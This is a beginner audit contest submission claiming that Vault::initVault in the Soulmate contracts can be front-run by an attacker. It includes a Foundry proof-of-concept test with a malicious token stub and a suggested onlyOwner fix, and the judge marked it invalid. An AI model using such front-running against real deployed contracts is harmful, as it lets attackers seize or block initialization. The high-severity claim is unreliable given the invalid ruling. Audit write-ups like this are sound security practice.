First Flight #9: Soulmate
First Flight #9
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Invalid

Attacker can frontrun `Vault::initVault` vault initialization using malicious contract

0xe4669da

Summary

Deployment of vaults and initialization of vaults are performed in two different transactions. After the deployment transactions an attacker can frontrun the initialization transactions.

Vulnerability Details

In Vault::initVault function, call is given to an arbitrary contract that is taken as an input from the user. Another issue here is the violation of Check Effects Interactions pattern, because Vault::vaultInitialize variable is updated after the external call.

Source Code

Vault.sol:
https://github.com/Cyfrin/2024-02-soulmate/blob/b3f9227942ffd5c443ce6bccaa980fea0304c38f/src/Vault.sol#L27C1-L31C6

function initVault(ILoveToken loveToken, address managerContract) public {
if (vaultInitialize) revert Vault__AlreadyInitialized();
@> loveToken.initVault(managerContract);
@> vaultInitialize = true;
}

Impact

While loveToken::initVault function is called then overall control of the execution flow goes to the arbitrary contract. When execution is finished and transaciton is not reverted then Vault::vaultInitialize variable is set to true which makes the vault not initializable.

Proof of Concept

Code
contract VaultTest is Test{
error Vault__AlreadyInitialized();
​
Soulmate public soulmateContract;
MaliciousLoveToken public maliciousLoveToken;
​
Vault public airdropVault;
Vault public stakingVault;
address attacker = makeAddr("Attacker");
address deployer = makeAddr("Deployer");
​
function setUp() public {
​
vm.startPrank(deployer);
soulmateContract = new Soulmate();
airdropVault = new Vault();
stakingVault = new Vault();
vm.stopPrank();
​
vm.prank(attacker);
maliciousLoveToken = new MaliciousLoveToken();
}
​
// Anyone can initialize the vaults after deployment, making it uninitializable
function test_VaultCanSendTransactionToMaliciousContract() public {
​
vm.startPrank(attacker);
airdropVault.initVault(ILoveToken(address(maliciousLoveToken)), address(0)); // Attacker looks that vaults are deployed and initialized in two different transactions, so he frontruns the initialization transaction
stakingVault.initVault(ILoveToken(address(maliciousLoveToken)), address(0));
vm.stopPrank();
​
vm.startPrank(deployer);
vm.expectRevert(Vault__AlreadyInitialized.selector);
airdropVault.initVault(ILoveToken(address(maliciousLoveToken)), address(airdropVault)); // Now the actual deployer tries to initialize the vault and fails
vm.expectRevert(Vault__AlreadyInitialized.selector);
stakingVault.initVault(ILoveToken(address(maliciousLoveToken)), address(stakingVault));
vm.stopPrank();
}
}
​
​
contract MaliciousLoveToken { // A malicious contract deployed by Attacker
​
function initVault(address managerContract) public {}
}

Tools Used

Manual Review

Recommendations

The Vault::initVault function should be protected. solmate's Owned.sol can be used.

Diff
+ import {Owned} from "@solmate/auth/Owned.sol";
​
- contract Vault {
+ contract Vault is Owned(msg.sender) {
...
- function initVault(ILoveToken loveToken, address managerContract) public {
+ function initVault(ILoveToken loveToken, address managerContract) public onlyOwner {
...
}
​
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Other

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.